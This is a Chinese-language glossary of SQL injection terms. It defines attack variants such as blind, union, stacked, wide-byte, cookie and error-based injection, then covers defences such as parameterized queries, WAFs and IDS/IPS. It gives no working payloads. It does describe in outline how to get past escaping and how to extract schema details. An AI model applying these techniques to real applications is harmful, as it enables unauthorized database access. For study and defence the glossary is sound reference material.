- 盲注(Blind SQL Injection):是 SQL 注入的一种特殊类型,攻击者无法直接从数据库获取信息,但可以通过观察数据库的响应时间、布尔值变化或其他间接方式来推断数据。
- 联合查询注入(Union Query Injection):攻击者利用 UNION 关键字将多个 SQL 查询结果合并,从而获取额外的数据。
- 堆叠查询注入(Stacked Query Injection):允许攻击者在一个输入字段中执行多个 SQL 语句,通过分号分隔不同的语句。
- 布尔盲注(Boolean - based Blind SQL Injection):通过构造条件语句,根据数据库返回的布尔值(真或假)来推断数据。
- 时间盲注(Time - based Blind SQL Injection):利用数据库执行时间的差异来推断数据,通常通过在 SQL 语句中添加延迟函数来实现。
- 数据库指纹(Database Fingerprinting):指通过对数据库的特征进行识别和分析,以确定数据库的类型、版本等信息,帮助攻击者选择合适的攻击方法。
- 输入验证(Input Validation):对用户输入的数据进行检查和验证,以确保其符合预期的格式和范围,防止恶意 SQL 语句的注入。
- 参数化查询(Parameterized Queries):将用户输入作为参数传递给 SQL 语句,而不是直接将其嵌入到 SQL 字符串中,从而避免 SQL 注入攻击。
- 存储过程(Stored Procedure):预编译的 SQL 代码块,可以接受参数并在数据库中执行。正确使用存储过程可以防止 SQL 注入,但如果存储过程存在漏洞,也可能成为攻击目标。
- Web 应用防火墙(Web Application Firewall,WAF):用于保护 Web 应用程序免受各种攻击,包括 SQL 注入。它可以检测和阻止恶意的 HTTP 请求,基于规则或机器学习算法来识别潜在的 SQL 注入攻击。
- 内联注释注入:利用 SQL 内联注释(如
--
或#
)来注释掉原 SQL 语句的部分内容,从而改变 SQL 语句的逻辑,以达到注入目的。比如在一些 Web 应用中,攻击者可通过构造带有内联注释的输入,绕过原本的 SQL 逻辑。- 基于错误的注入:攻击者通过构造特殊的 SQL 语句,使数据库返回错误信息,再根据这些错误信息来获取数据库的结构、表名、列名等信息。像 MySQL 中的
GROUP BY
错误、ORDER BY
错误等,都可能被攻击者利用。- 宽字节注入:在某些使用宽字符编码(如 GBK)的 Web 应用中,当应用程序对用户输入进行过滤时,会将单引号等特殊字符转义为反斜杠加单引号(
\'
)。攻击者可利用宽字节编码的特性,通过注入一个宽字节字符与反斜杠组合成一个合法字符,从而绕过转义机制进行 SQL 注入。- cookie 注入:攻击者将恶意的 SQL 语句注入到 Web 应用的 cookie 中。如果 Web 应用在处理请求时会使用 cookie 中的数据来构造 SQL 语句,就可能导致 SQL 注入漏洞被利用。
- 白名单过滤:在应用程序中预先定义允许的字符、格式或操作,只允许符合白名单规则的输入通过。对于 SQL 注入防护来说,就是只允许合法的输入进入 SQL 语句的构造过程,从而有效防止恶意 SQL 注入。
- 代码审计:对 Web 应用的源代码进行全面审查,查找可能存在 SQL 注入漏洞的代码段。通过分析代码中对用户输入的处理方式、SQL 语句的构造等,发现并修复潜在的安全问题。
- 安全配置:对数据库和 Web 服务器进行合理的安全配置,如限制数据库用户的权限,只授予其执行必要操作的最小权限;设置数据库的访问控制列表,限制外部对数据库的访问等,降低 SQL 注入攻击成功后可能造成的危害。
- 入侵检测系统(Intrusion Detection System,IDS):用于实时监测网络或系统中的活动,检测是否存在 SQL 注入等攻击行为。当检测到可疑的活动时,会发出警报通知管理员。
- 入侵防御系统(Intrusion Prevention System,IPS):与 IDS 类似,但它不仅能检测攻击,还能主动阻止攻击。在检测到 SQL 注入攻击时,IPS 会自动采取措施,如阻止连接、修改请求等,以保护系统安全。